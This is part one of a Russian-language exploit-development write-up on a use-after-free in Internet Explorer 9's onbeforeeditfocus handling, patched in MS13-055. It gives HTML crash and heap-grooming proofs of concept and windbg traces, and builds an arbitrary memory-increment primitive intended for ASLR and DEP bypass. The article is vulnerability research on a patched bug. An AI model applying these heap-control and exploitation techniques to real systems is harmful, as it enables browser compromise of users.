Как при помощи одного байта можно захватить весь процесс (часть первая)

Как при помощи одного байта можно захватить весь процесс (часть первая)

В сентябре компания FireEye опубликовала в своем блоге заметку об уязвимости CVE-2013-3147 в браузере Microsoft Internet Explorer. В этой заметке было указано, что компания Microsoft исправила эту проблему 9 июля в бюллетене MS13-055. Во время чтения этой заметки я вспомнил, что в январе этого года мной была обнаружена похожая проблема.

Автор: Питер Вругденгил (Peter Vreugdenhil)

В сентябре компания FireEye опубликовала в своем блоге заметку об уязвимости CVE-2013-3147 в браузере Microsoft Internet Explorer. В этой заметке было указано, что компания Microsoft исправила эту проблему 9 июля в бюллетене MS13-055. Во время чтения этой заметки я вспомнил, что в январе этого года мной была обнаружена похожая проблема. Тогда мое внимание привлекло событие onbeforeeditfocus, и после установки вышеупомянутого патча, оказалось, что также исправлена и найденная мною брешь. Поскольку мы рассылали информацию об этом эксплоите нашим клиентам, начиная с января, то посчитали, что прошло уже достаточное количество времени, чтобы рассказать о деталях уязвимости широкой общественности.

Обнаруженная уязвимость эксплуатируется методом use-after-free (что вполне естественно, когда речь идет об уязвимости в браузере), затрагивая обработчики событий и некоторые другие компоненты Javascript. Написанный мною эксплоит обходил технологию ASLR через принудительное раскрытие памяти (forced memory disclosure) и функцию безопасности Data Execution Prevention при помощи обычного трюка с ROP-цепью. Сам эксплоит не тривиален, поэтому я расскажу некоторые предварительные сведения относительно него.

Крах браузера

Для начала давайте рассмотрим кусок кода, который приводит к краху браузера:

<!doctype html>
<HTML>
<head>
<script>
function setinput() {
try { document.write('Timber'); } catch(e) {}
}
function loaded() {
document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
document.getElementsByTagName('input')[0].focus();
}
</script>
</head>
<body onload="loaded();">
<input value="mydata" type="text"></input>
</body>
</html>

Если вы откроете этот файл в Internet Explorer 9 (файл должен лежать на веб-сайте, а не на локальном компьютере), то, возможно, произойдет нечто подобное:

This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000
eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
MSHTML!CHTMLEditor::FireOnSelectionChange+0xb:
71e0e0d0 8b01 mov eax,dword ptr [ecx] ds:002b:00000010=????????
1:019> ub
MSHTML!CSelectionManager::EndSelectionChange+0x8e:
71e0e0c4 90 nop
MSHTML!CHTMLEditor::FireOnSelectionChange:
71e0e0c5 8bff mov edi,edi
71e0e0c7 55 push ebp
71e0e0c8 8bec mov ebp,esp
71e0e0ca 51 push ecx
71e0e0cb 51 push ecx
71e0e0cc 53 push ebx
71e0e0cd 8d4f10 lea ecx,[edi+10h]

Похоже на разыменование пустого указателя: edi == NULL; в регистр ecx устанавливается значение edi + 0×10; а затем разыменовывается регистр ecx. Насколько я знаю, уязвимости, связанные c пустыми указателями, нельзя использовать в Internet Explorer, и эта информация не является сколь-нибудь полезной. Однако корни проблемы находятся совсем в другом месте, и чтобы убедиться в этом, включим кучу страницы (pageheap) и флаг user mode stack trace database для процесса iexplore.exe.

gflags.exe /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
ust - Create user mode stack trace database
hpa - Enable page heap

После повторного запуска первоначального кода получаем следующее:

(87c.fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38
eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e43f37 334738 xor eax,dword ptr [edi+38h] ds:002b:0ed3af70=????????

1:019> lmi vm mshtml
File version: 9.0.8112.16446

1:021> k
ChildEBP RetAddr
08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52
08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e
08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf
08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e
08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6
08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0
08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a
08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21
08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525
08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6
08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109
08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58
08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117
WARNING: Frame IP not in any known module. Following frames may be wrong.
08c9ce58 710d85fe 0x8d804da
08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6
08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f
08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63
08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a
08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a
08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40
08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187
08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc
08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc
08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9
08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123
08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb
08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6
08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc
08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12
08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115

1:020> ub
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x36:
call MSHTML!EdUtil::FireOnEvent
mov dword ptr [ebp-8],eax
shl eax,0Fh

Я не буду вдаваться в детали и анализировать причины краха, а уделю внимание эксплуатации самой уязвимости. Основная концепция заключается в том, что функция body.onload() вызывает обработчик onbeforeeditfocus и эта функция, по-видимому, удаляет некоторые важные данные, что проводит к краху, как только мы возвращаемся из функции ‘FireOnEvent’.

К сожалению, на виртуальной машине, где я проводил все эти эксперименты, установлена версия windbg, которая иногда глючит во время трассировки стека на уровне пользователя, и на данный момент я не могу показать результаты трассировки. Хотя могу показать размер выделяемой памяти (спасибо Фермину за эту технику):

1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF
size is 0xc8

Теперь мы знаем, что освобождается кусок памяти размером 0xC8, который содержит некоторые важные данные, используемые в дальнейшем. Настало время оценить, можно ли создать эксплоит, используя эти знания, притом эксплоит, который работоспособен при полноценной используемой технологии ASLR (без всяких трюков и обманов, как это делается в большинстве публичных эксплоитов).

Для начала необходимо проверить, можем ли мы записать в свободный участок памяти свои собственные данные. Благодаря куче с низкой фрагментацией (Low Fragmentation Heap, LFH) это довольно просто, когда при простом размещении 0xC8 байт после вызова document.write(), нам следует повторно занять последний свободный слот памяти размером 0xC8. Чтобы убедиться в том, что выделенный размер использует распределитель кучи с низкой фрагментацией (LFH allocator), мы несколько раз выделим этот размер перед тем, как продолжить эксперимент.

Установка точки останова на месте первоначального краха позволит нам наблюдать за прогрессом (не забудьте отключить PageHeap для того, чтобы активировался распределитель кучи с низкой фрагментацией).

Если в эту минуту у вас возникло желание написать эксплоит самостоятельно, прекращайте чтение статьи и начинайте действовать, поскольку далее будет информация, раскрывающая концепцию эксплоита.

Контроль памяти

Следующий код позволяет получить контроль над освобожденным участком памяти:

<!doctype html>
<HTML>
<head>
<script>

lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className =
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}

function setinput() {
try { document.write('Timber'); } catch(e) {}
d = document.createElement('div');
d.className =

"\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF\uFFFF
\uFFFF\uFFFF";
}

function loaded() {
document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
document.getElementsByTagName('input')[0].focus();
}
</script>
</head>
<body onload="loaded();">
<input value="mydata" type="text"></input>
</body>
</html>

Давайте запустим его и понаблюдаем за эффектом:

1:019> bp !mshtml + 0x383f37 ".printf \"AFTER FireOnEvent : edi %p\", edi; .echo; dc edi L0xc8/4;.echo;"
AFTER FireOnEvent : edi 1072a440
1072a440 71eb2d04 71eb320c 00000002 106f4920 .-.q.2.q.... Io.
1072a450 106eff10 106eff38 107309a0 00000000 ..n.8.n...s.....
1072a460 107308e0 00000000 00000000 0000000f ..s.............
1072a470 00000001 00000000 00908002 00000000 ................
1072a480 00000000 00000000 00000000 00000000 ................
1072a490 106c3dc0 00000000 ffffffff 00000000 .=l.............
1072a4a0 00000000 00000000 00000000 00000000 ................
1072a4b0 00000000 107309a0 00000000 00000000 ......s.........
1072a4c0 00000000 106c3dc0 1072cd88 1072ce40 .....=l...r.@.r.
1072a4d0 00000000 106efe20 106efe48 106efe70 .... .n.H.n.p.n.
1072a4e0 106efe98 106efec0 106efee8 00000000 ..n...n...n.....
1072a4f0 00000000 00000000 00000000 00000000 ................
1072a500 00000000 00000000 ........

eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738 xor eax,dword ptr [edi+38h] ds:002b:1072a478=02809000
1:019> g
AFTER FireOnEvent : edi 1072a440
1072a440 ffffffff ffffffff ffffffff ffffffff ................
1072a450 ffffffff ffffffff ffffffff ffffffff ................
1072a460 ffffffff ffffffff ffffffff ffffffff ................
1072a470 ffffffff ffffffff ffffffff ffffffff ................
1072a480 ffffffff ffffffff ffffffff ffffffff ................
1072a490 ffffffff ffffffff ffffffff ffffffff ................
1072a4a0 ffffffff ffffffff ffffffff ffffffff ................
1072a4b0 ffffffff ffffffff ffffffff ffffffff ................
1072a4c0 ffffffff ffffffff ffffffff ffffffff ................
1072a4d0 ffffffff ffffffff ffffffff ffffffff ................
1072a4e0 ffffffff ffffffff ffffffff ffffffff ................
1072a4f0 ffffffff ffffffff ffffffff ffffffff ................
1072a500 ffffffff 0000ffff ........

eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738 xor eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff

Как можно видеть из информации, представленной выше, мы получили контроль на освобожденной памятью (точка останова сработала дважды и второй раз, когда память уже освободилась) и теперь манипуляции с информацией находятся под нашим контролем. «И что же теперь?» - спросите вы. Во-первых, следует отметить, что все не так просто, как это обычно бывает при использовании метода use-after-free, когда вы получили контроль над таблицей виртуальных функций и затем контролируете процесс выполнения программы. В нашем случае вам, вероятно, следует более внимательно изучить состояние объектов и памяти перед ее высвобождением, что поможет вам при поиске и использовании механизмов эксплуатации подобных уязвимостей. В этой статье мы не будем подробно углубляться в этот вопрос, чтобы сэкономить ваше и мое время. Кроме того, возможно создание различных типов крахов браузера, которые позволят вам быстрее получить контроль над таблицей виртуальных функций, однако мы будем работать именно с этой версией, поскольку она позволяет нам вытворять всякие интересности.

Начнем рассматривать функцию в месте краха и будем работать при условии, что мы контролируем память в регистре [edi]. Открыв место, где происходит крах, и выбрав регистр edi в точке возникновения краха, мы видим, что регистр edi образуется из регистра eax в начале функции.

Рисунок 1: Место возникновения краха браузера

Мы также видим, что если при вызове ‘EdUtil::FireOnEvent’ возвращается определенный результат, то выполняется инструкция jnz в конце основного блока:

Рисунок 2: Результат вызова ‘EdUtil::FireOnEvent’ влияет на выполнение инструкции jnz

После вызова ‘EdUtil::FireOnEvent’ возвращается 1 и, соответственно, инструкция jnz не выполняется, а функция вскоре завершает свою работу без повторного использования освобожденной памяти. Конечно же, вам следует ознакомиться с этим вопросом поглубже и выяснить, почему возвращается 1, а не 0, что позволит вам намного гибче управлять процессом эксплуатации уязвимости, но опять же, в этой статье в эти дебри мы углубляться не будем.

Рисунок 3: Завершение работы родительской функции без выполнения инструкции jnz

Нам нужно подняться вверх на несколько функций для того, чтобы найти место повторного использования свободной памяти. Вы можете использовать либо стек вызовов или перекрестные ссылки кода (code cross references) в IDA, либо пошагово пробежаться в WinDBG, используйте наиболее подходящий для вас способ. Как итог, вы должны выяснить, что повторное использование памяти происходит в “MSHTML!CSelectionManager::SetEditContext+0xf2:”, однако, кажется, здесь нет ничего полезного для нас:

71e03e93 836738f7 and dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff

Дальнейшая трассировка показывает, что все заканчивается в CSelectionManager::EndSelectionChange с установкой контролируемой памяти в eax прямо перед вызовом этой функции:

Рисунок 4: Установка контролируемой памяти в регистр eax перед вызовом CSelectionManager::EndSelectionChange

Здесь все становится интереснее. Если вам нужен небольшой отдых от моих измышлений, рекомендую вам взглянуть на эту функцию, принимая во внимание, что вы контролируете данные в регистре eax в начале функции, и найти интересный путь при прохождении от начала функции до конца. При работе внутри полноценного ASLR-процесса существует несколько способов избежание краха:

  1. Заменить освобожденные объекты другими объектами, чтобы виртуальные вызовы корректно преобразовались внутри модуля
  2. Избегать любых вызовов виртуальных функций
  3. Использовать USER_SHARE_DATA для вызова LdrHotPatchRoutine

Ниже показан скриншот всей функции CSelectionManager::EndSelectionChange:

Рисунок 5: Подробная блок-схема функции CSelectionManager::EndSelectionChange

Внутри блок-схемы я отметил регистр esi, поскольку он указывает на наши данные. Мое внимание привлек следующий код:

.text:63904388 loc_63904388: ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj
text:63904388 mov esi, [esi+0Ch]
text:6390438B test eax, eax
text:6390438D jnz loc_6378E064
text:63904393 inc dword ptr [esi+0A0h]
.text:63904399 jmp loc_639B2DD2

Если мы достигаем вышеупомянутого блока кода без краха браузера и с регистром eax, в который установлено корректное значение (0x0), мы можем инкрементировать любой адрес памяти, какой захотим. Вроде бы, здесь есть некоторые ограничение, но мы вернемся к этому чуть позже. Для начала попробуем добраться до этого блока, после чего побеспокоимся о деталях реализации эксплоита.

Если мы медленно пройдемся через эту функцию, то увидим, какие значения необходимо иметь в контролируемой нами памяти, для того, чтобы достигнуть вышеупомянутого блока без краха браузера. Если в данный момент работаете с библиотекой без компонента ASLR, то вам требуется другой путь, который приведет к вызову таблицы виртуальных функций при помощи подконтрольного указателя, но это не то, что нам нужно.

Пошаговое выполнение функции выдает нам следующее:

.text:639B2DAE dec dword ptr [esi+90h]
text:639B2DB4 mov eax, [esi+90h]
...
.text:639B2DC3 test eax, eax
.text:639B2DC5 short loc_639B2DD2

Вначале кода [esi+0x90] должен быть равен 0×1.

.text:6390282A loc_6390282A: ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j
.text:6390282A shl ecx, 4
.text:6390282D xor ecx, [esi+3Ch]
.text:63902830 and ecx, 10h
.text:63902833 xor [esi+3Ch], ecx
.text:63902836 jmp loc_639B2DC3


.text:639B2DC7 mov eax, [esi+3Ch]
.text:639B2DCA test al, 10h
.text:639B2DCC jnz loc_63904352

[esi+0x3C] сравнивается со значением 0×10. До тех пор, пока проверка проходит успешно, не будем обращать на нее внимание.

Тот блок кода, до которого мы хотим добраться, требует установки значения 0×0 в регистр eax для выполнения инструкции перехода. Для этого мы должны немного вернуться назад в то место, где происходит установка регистра eax, и выяснить, как добраться туда. Существуют два места прямо над нашим блоком, до которого мы хотим добраться, где происходит изменение регистра eax:

loc_6378D607:
mov eax, edi

и

.text:6390437C test byte ptr [esi+3Ch], 2
.text:63904380 jnz loc_6378D607
.text:63904386 xor eax, eax

Небольшое исследование показывает, что регистр edi не будет нулевым при его перемещении в регистр eax, так что у нас остается только одна возможность: ‘xor eax, eax’. Для того чтобы добраться до этой инструкции, нам нужно пройти через дополнительные функции: ‘CSelectionManager::GetTrackerType‘ и ‘CSelectionManager::ShouldCaretBeInteractive‘ и в обеих функция необходимо возвращать надлежащие значения, чтобы не было краха браузера. Этого можно достигнуть без особых трудностей.

Функция CSelectionManager::GetTrackerType должна возвращать либо 1, либо 2. Этого можно достигнуть, если сумма наших данных (то, что находится в регистре eax) и 0×50 ссылается на участок памяти, где по смещению 0xC можно найти значение 0×1 или 0×2:

Рисунок 6: Механизм возврата нужного значения у функции

Функция CSelectionManager::ShouldCaretBeInteractive чуть более сложна, но мы также можем пройти через нее без краха браузера. Я не буду утомлять вас долгими размышлениями, а просто скажу, что вы можете найти значение 0×1 внутри USER_SHARE_DATA по адресу 0x7ffe0240. Думаю, что давно пора протестировать изложенную концепцию, которая позволит нам инкрементировать значение dword ptr [0xконтролируемый адрес памяти], а затем выйти оттуда.

Для решения этой задачи нам необходимо зарезервировать участок памяти размером 0xC8 и заполнить его управляемыми нами данными, включая значения \u0000 (нам нужно иметь значение 0×1 по смещению +0×90). Трюк с element.className, который мы использовали в предыдущем примере, не подходит, поскольку строка завершается на месте первого попавшегося значения \u0000. Однако есть довольно много способов, чтобы поразвлекаться с кучей в Internet Explorer 9. Один из моих любимых трюков содержит следующие строки кода:

a = document.createElement('area');
a.shape = 'poly';
a.coords = '1,2,3,4,5,6,7,8,9,10';

В этом коде создается элемент AREA, задается его форма в виде многоугольника, а затем устанавливаются координаты (x, y) в свойстве «coord». В результате этого выделяется память, содержащая следующую информацию: [Количество точек][X][Y][X][Y] …. со всеми значениями, сконвертированными в шестнадцатеричные слова двойной длины. Используя эту схему, мы не можем контролировать первые четыре байта, но можем легко контролировать оставшиеся байты и записывать в них те значения, которые захотим. Ниже приведен код, реализующий эту схему:

<!doctype html>
<HTML>
<head>
<script>
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className =

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
}

function setinput() {
try { document.write('Timber'); } catch(e) {}
d = document.createElement('area');
d.shape = "poly"
d.coords =
"1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,
37,38,39,40,41,42,43,44,45,46,47,48";
}

function loaded() {
document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
document.getElementsByTagName('input')[0].focus();
}
</script>
</head>
<body onload="loaded();">
<input value="ExodusIntel" type="text"></input>
</body>
</html>

Выполнение этого кода приводит к краху IE:

(638.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001
eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
MSHTML!CSelectionManager::EndSelectionChange+0x87:
71e04393 ff86a0000000 inc dword ptr [esi+0A0h] ds:002b:242424c4=????????

Как только произошел крах, наш эксплоит позволит инкрементировать данные в любом отдельном четырехбайтовом адресе на наш выбор. Этого достаточно для:

  1. Принудительного раскрытия памяти для обхода ASLR.
  2. Управления потоком выполнения для обхода DEP.

Я обнаружил два различных способа решения этих задач.

На этом я заканчиваю первую часть статье. В следующей части я опубликую как минимум один эксплоит, позволяющий решить обе задачи.

Несколько замечаний по поводу написанного эксплоита:

  • Из-за некоторых требований, налагаемых на информацию, которую мы заносим в память (размер 0xC8, и некоторые конкретные значения, находящихся по конкретным смещениям) скорее всего мы сможем инкрементировать только «фиксированный» адрес в памяти. Если необходимо, добавьте heapspray.
  • Мы будем провоцировать «крах» браузера только один раз, следовательно, наш эксплоит будет использоваться и для раскрытия памяти (при обходе ASLR) и для последующего контроля потока выполнения (при обходе DEP).

Продолжение следует…

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться